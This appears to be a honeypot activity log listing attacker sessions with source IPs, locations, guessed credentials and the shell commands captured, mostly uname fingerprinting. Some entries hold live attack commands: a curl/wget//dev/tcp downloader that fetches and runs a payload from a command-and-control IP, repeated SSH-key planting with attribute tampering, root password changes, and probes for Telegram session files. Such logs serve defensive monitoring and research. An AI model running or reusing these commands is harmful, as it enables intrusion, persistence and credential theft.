🎭 cipher_db (8.217.105.235) β€” Hong Kong, Hong Kong Β· 1 session Β· 1 cmd
2026-04-27 23:36 EDT Β· as oracle/oracle123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 clog_sol_3 (80.94.92.184) β€” Amsterdam, The Netherlands Β· 105 sessions Β· 105 cmds
2026-03-04 14:25 EST Β· as sol/123456, sol/sol, solana/solana
Ran uname 111x across 111 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—105
↳ obfuscated system check
🎭 wraith_pi (160.191.89.76) β€” Go Vap, Vietnam Β· 1 session Β· 1 cmd
2026-04-27 22:05 EDT Β· as pi/raspberry
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 dragon_root_2 (116.62.172.3) β€” Hangzhou, China Β· 1 session Β· 1 cmd
2026-04-27 20:21 EDT Β· as postgres/postgres
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 lotus_root_5 (20.235.162.205) β€” Chennai, India Β· 1 session Β· 1 cmd
2026-04-27 19:59 EDT Β· as oracle/oracle1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 specter_root_28 (145.241.123.102) β€” Dubai, United Arab Emirates Β· 1 session Β· 1 cmd
2026-04-27 19:52 EDT Β· as postgres/postgres
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 kimchi_root_2 (211.221.196.103) β€” Yongin-si, South Korea Β· 2 sessions Β· 2 cmds
2026-04-04 03:41 EDT Β· as guest/guest, test/test
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a Γ—2
↳ OS/kernel identification
🎭 jade_pi (39.106.23.166) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-27 17:59 EDT Β· as pi/pi
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 fog_root_8 (139.59.183.60) β€” Slough, United Kingdom Β· 2 sessions Β· 2 cmds
2026-04-10 23:18 EDT Β· as oracle/oracle123, ubuntu/ubuntu
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a Γ—2
↳ OS/kernel identification
🎭 wok_root_2 (116.177.172.111) β€” Jinrongjie, China Β· 1 session Β· 1 cmd
2026-04-27 15:06 EDT Β· as admin/admin
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 specter_root_29 (34.92.62.225) β€” Hong Kong, Hong Kong Β· 1 session Β· 1 cmd
2026-04-27 13:19 EDT Β· as oracle/oracle
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 dragon_root_3 (60.212.99.149) β€” Jinan, China Β· 1 session Β· 5 cmds
2026-04-27 12:49 EDT Β· as root/123456
echo β†’ payload download from C2 β†’ execute from /tmp β†’ '8
$ echo 1 > /dev/null && cat /bin/echo
$ nohup $SHELL -c "curl http://176.88.9.106:9877/linux -o /tmp/xIwlr71hOZ; if [ ! -f /tmp/xIwlr71hOZ ]; then wget http://176.88.9.106:9877/linux -O /tmp/xIwlr71hOZ; fi; if [ ! -f /tmp/xIwlr71hOZ ]; then exec 6<>/dev/tcp/176.88.9.106/9877 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/xIwlr71hOZ ; chmod +x /tmp/xIwlr71hOZ && /tmp/xIwlr71hOZ KUloWATOKeF3Kbs6PqQ1d+Ei2QJWbUlcW0doVwbOKuN1Kbg8PrA/dOUrwAZYakdaW0drUQbOKuNzPbI9OLondOcuzg9Zd1BGWVlvWw7YL+dlM78mML0pd+QvzgZZbVNQX19tQQbSLf50N70mO7spc+Ei2QVWbElZUF93UwTXNuF1MaQ6Obs9c+Ap0AJBYUdZXl93UATRNuF8M7A+PLIwZeIq0BlQYVlGUVB3VgbaLuB0N78oPL0pd+QqzgVTaEdZX1ljWAHVK/B9M6Q7PqQ2d+A21ANbYV9QUUlrUA/OIeBrNbk9Jr8/f+Yo0QdUeVhcXEdqUBnRLeFrNbs7Mrw+feU40QJVd1FbRltoUBnSK+pzNLk+KL4wa+Is0hlUYUdQXFNvUQbQIfB0MqQ6OL4pd+MuzgNUY15aWFh5UAXUNuJ3NaQ8Jrs+dOov0wVVeV1fRlttUxnRKOhrMLsyPro2dec41AJPYV5GWl1uTwbYLOp9MLw8KL4+a+Ir0hlTaVhGWllpWw7VL+FlNrs8Jrg1ff4p0w5Pb11SX11uVRfRKulrNbo8Jrsxa+Er0w1Xb1FZSF1gTwXTKv53Nb4mOb83f+gp1ABBbV5GWl1rTwXSKf50MLoyMbwydvAs1xlTbFlGWV9tTwbZIep9ML49KLs3c/4v1BlTaEdaW15jVwfRKOVlNro+Jrs0a+IrzgZVYFNeUFhgQQPZNuJ2NaQ6PL8pfOIi1gRRbUlZUVp3UwTOKuB0Kbg7PrA/cOAowAZZb0daW153UAfWNuJ0NrA+OLs3cDIthesEq1Rhi94jiICp2c6xTEszitxEWnpi; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/xIwlr71hOZ && /tmp/xIwlr71hOZ KUloWATOKeF3Kbs6PqQ1d+Ei2QJWbUlcW0doVwbOKuN1Kbg8PrA/dOUrwAZYakdaW0drUQbOKuNzPbI9OLondOcuzg9Zd1BGWVlvWw7YL+dlM78mML0pd+QvzgZZbVNQX19tQQbSLf50N70mO7spc+Ei2QVWbElZUF93UwTXNuF1MaQ6Obs9c+Ap0AJBYUdZXl93UATRNuF8M7A+PLIwZeIq0BlQYVlGUVB3VgbaLuB0N78oPL0pd+QqzgVTaEdZX1ljWAHVK/B9M6Q7PqQ2d+A21ANbYV9QUUlrUA/OIeBrNbk9Jr8/f+Yo0QdUeVhcXEdqUBnRLeFrNbs7Mrw+feU40QJVd1FbRltoUBnSK+pzNLk+KL4wa+Is0hlUYUdQXFNvUQbQIfB0MqQ6OL4pd+MuzgNUY15aWFh5UAXUNuJ3NaQ8Jrs+dOov0wVVeV1fRlttUxnRKOhrMLsyPro2dec41AJPYV5GWl1uTwbYLOp9MLw8KL4+a+Ir0hlTaVhGWllpWw7VL+FlNrs8Jrg1ff4p0w5Pb11SX11uVRfRKulrNbo8Jrsxa+Er0w1Xb1FZSF1gTwXTKv53Nb4mOb83f+gp1ABBbV5GWl1rTwXSKf50MLoyMbwydvAs1xlTbFlGWV9tTwbZIep9ML49KLs3c/4v1BlTaEdaW15jVwfRKOVlNro+Jrs0a+IrzgZVYFNeUFhgQQPZNuJ2NaQ6PL8pfOIi1gRRbUlZUVp3UwTOKuB0Kbg7PrA/cOAowAZZb0daW153UAfWNuJ0NrA+OLs3cDIthesEq1Rhi94jiICp2c6xTEszitxEWnpi" &
↳ payload download from C2
$ head -c 3716336 > /tmp/wwLXu23ttn
↳ execute from /tmp
$ echo 1 > /dev/null && cat /bin/echoQtd#0000
$ >A@/`'8
🎭 fjord_root (85.225.15.215) β€” Lund, Sweden Β· 1 session Β· 9 cmds
2026-04-27 11:48 EDT Β· as root/root
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 fog_root_4 (212.116.231.23) β€” London, United Kingdom Β· 15 sessions Β· 15 cmds
2026-04-27 10:51 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—15
🎭 dragon_root_4 (120.76.202.208) β€” Shenzhen, China Β· 1 session Β· 1 cmd
2026-04-27 09:14 EDT Β· as user/user
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 rogue_root_29 (144.2.91.96) β€” Solothurn, Switzerland Β· 3 sessions Β· 19 cmds
2026-04-09 19:11 EDT Β· as root/root, ubuntu/ubuntu
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print Γ—2
$ ifconfig Γ—2
↳ network mapping
$ uname -a Γ—3
↳ OS/kernel identification
$ cat /proc/cpuinfo Γ—2
↳ CPU profiling
$ ps | grep '[Mm]iner' Γ—2
$ ps -ef | grep '[Mm]iner' Γ—2
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/* Γ—2
$ locate D877F783D5D3EF8Cs Γ—2
$ echo Hi | cat -n Γ—2
🎭 tulip_sol_3 (80.94.92.182) β€” Amsterdam, The Netherlands Β· 178 sessions Β· 178 cmds
2026-03-01 08:32 EST Β· as firedancer/firedancer, raydium/raydium, sol/123
Ran uname 58x across 58 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—178
↳ obfuscated system check
🎭 dragon_root_5 (8.155.60.99) β€” Shenzhen, China Β· 1 session Β· 1 cmd
2026-04-27 07:38 EDT Β· as root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 ghost_root_38 (103.149.86.208) β€” Ho Chi Minh City, Vietnam Β· 1 session Β· 1 cmd
2026-04-27 07:28 EDT Β· as admin/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 silk_db (59.110.37.122) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-27 05:15 EDT Β· as oracle/oracle
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 tulip_sol_6 (192.109.200.237) β€” Eygelshoven, The Netherlands Β· 35 sessions Β· 35 cmds
2026-04-27 04:14 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 4x across 4 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—35
🎭 gouda_sol_5 (80.94.92.186) β€” Amsterdam, The Netherlands Β· 255 sessions Β· 255 cmds
2026-03-06 10:47 EST Β· as eth/eth, sol/123, sol/12345678
Ran uname 85x across 85 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—255
↳ obfuscated system check
🎭 jade_root_4 (121.196.227.86) β€” Hangzhou, China Β· 2 sessions Β· 2 cmds
2026-04-23 03:57 EDT Β· as pi/raspberry, user/user
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a Γ—2
↳ OS/kernel identification
🎭 toque_root_2 (68.183.204.19) β€” Toronto, Canada Β· 1 session Β· 1 cmd
2026-04-26 23:28 EDT Β· as admin/admin
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 stein_root_14 (80.158.109.51) β€” Hanover, Germany Β· 1 session Β· 2 cmds
2026-04-26 22:30 EDT Β· as oracle/Founderbn
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 wok_root_3 (8.136.223.13) β€” Hangzhou, China Β· 1 session Β· 1 cmd
2026-04-26 21:11 EDT Β· as oracle/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 gouda_sol_3 (45.148.10.183) β€” Amsterdam, The Netherlands Β· 334 sessions Β· 334 cmds
2026-04-07 08:02 EDT Β· as admin/password, bitcoin/bitcoin, eth/eth
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—334
↳ obfuscated system check
🎭 wraith_root_25 (8.217.201.158) β€” Hong Kong, Hong Kong Β· 1 session Β· 1 cmd
2026-04-26 18:50 EDT Β· as root/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 panda (47.96.71.48) β€” Hangzhou, China Β· 1 session Β· 1 cmd
2026-04-26 18:21 EDT Β· as test/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 lantern_root_3 (47.98.244.82) β€” Hangzhou, China Β· 3 sessions Β· 3 cmds
2026-04-12 13:45 EDT Β· as admin/admin, admin/admin123, oracle/oracle123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a Γ—3
↳ OS/kernel identification
🎭 wok_root_4 (47.112.97.49) β€” Shenzhen, China Β· 1 session Β· 1 cmd
2026-04-26 17:17 EDT Β· as test/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 tulip_root_3 (192.109.200.50) β€” Eygelshoven, The Netherlands Β· 12 sessions Β· 12 cmds
2026-04-26 15:40 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—12
🎭 panda_2 (182.92.133.114) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-26 13:28 EDT Β· as test/test
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 cipher_root_36 (23.97.62.148) β€” Singapore, Singapore Β· 1 session Β· 1 cmd
2026-04-26 13:22 EDT Β· as root/1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 tulip_sol_7 (193.32.162.145) β€” Amsterdam, The Netherlands Β· 74 sessions Β· 74 cmds
2026-03-01 14:47 EST Β· as jito/jito, raydium/raydium, sol/sol
Ran uname 71x across 71 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—74
↳ obfuscated system check
🎭 cipher_root_37 (151.115.164.231) β€” Milan, Italy Β· 13 sessions Β· 13 cmds
2026-04-26 10:18 EDT Β· as admin/123456, admin/admin, admin/password
Ran uname 13x across 13 sessions β€” automated OS fingerprinting.
$ uname -a ; echo 'vT' Γ—13
🎭 wraith_root_26 (151.115.106.239) β€” Warsaw, Poland Β· 13 sessions Β· 13 cmds
2026-04-26 09:13 EDT Β· as admin/123456, admin/admin, admin/password
Ran uname 13x across 13 sessions β€” automated OS fingerprinting.
$ uname -a ; echo 'vT' Γ—13
🎭 stroopwafel_root_4 (89.190.156.119) β€” Amsterdam, Netherlands Β· 1 session Β· 19 cmds
2026-04-26 08:58 EDT Β· as root/admin123
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:7uNIZhfKSMD3"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 rogue_root_30 (45.78.208.179) β€” Singapore, Singapore Β· 1 session Β· 19 cmds
2026-04-26 08:12 EDT Β· as root/admin123
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:9MYc0ITwII1k"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 wok_root_5 (123.57.73.112) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-26 07:41 EDT Β· as test/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 tsar_root_3 (90.156.149.25) β€” Moscow, Russia Β· 1 session Β· 19 cmds
2026-04-26 07:41 EDT Β· as root/admin123
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:ak46WAnk2Ajm"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 ghost_root_39 (43.99.66.254) β€” Hong Kong, Hong Kong Β· 1 session Β· 1 cmd
2026-04-26 07:02 EDT Β· as oracle/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 wraith_root_27 (203.205.37.233) β€” Ho Chi Minh City, Vietnam Β· 1 session Β· 2 cmds
2026-04-26 06:15 EDT Β· as oracle/oracle!@#
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 wraith_sol_2 (186.68.83.105) β€” La Puntilla, Ecuador Β· 2 sessions Β· 21 cmds
2026-04-18 05:27 EDT Β· as oracle/oracle!@#, root/admin123
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:YAobszDWatUc"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 wraith_root_28 (180.241.196.139) β€” Banjarnegara, Indonesia Β· 1 session Β· 2 cmds
2026-04-26 03:53 EDT Β· as oracle/oracle27
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 steppe_root (109.73.203.168) β€” Moscow, Russia Β· 35 sessions Β· 35 cmds
2026-04-26 00:53 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—35
🎭 cipher_root_7 (103.146.202.84) β€” Cicurug, Indonesia Β· 24 sessions Β· 24 cmds
2026-04-12 01:50 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 7x across 7 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—24
🎭 wok_root_6 (116.177.172.108) β€” Jinrongjie, China Β· 1 session Β· 1 cmd
2026-04-26 00:57 EDT Β· as root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 poutine_root_2 (192.99.169.99) β€” Beauharnois, Canada Β· 3 sessions Β· 24 cmds
2026-04-16 07:09 EDT Β· as oracle/Oracle10, oracle/Oracle17, user/user
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—3
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—3
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "user\nbRkjdCbBq03y\nbRkjdCbBq03y"|passwd|bash
$ Enter new UNIX password:
$ echo "user\nbRkjdCbBq03y\nbRkjdCbBq03y\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
